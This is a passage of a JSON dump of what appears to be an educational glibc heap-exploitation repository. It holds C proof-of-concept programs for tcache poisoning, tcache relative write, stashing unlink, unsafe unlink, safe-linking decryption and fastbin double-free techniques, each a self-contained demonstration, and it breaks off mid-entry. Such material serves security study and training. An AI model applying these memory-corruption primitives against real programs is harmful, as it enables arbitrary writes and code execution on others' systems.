    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.31/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\n\tsize_t stack_var;\n\tprintf(\"The address we want malloc() to return is %p.\\n\", (char *)&stack_var);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, &stack_var);\n\tb[0] = (intptr_t)&stack_var;\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, &stack_var);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", &stack_var);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)&stack_var == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.31/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x910;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.31/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.31/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.32/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.32/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.32/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.32/fastbin_dup_into_stack.c",
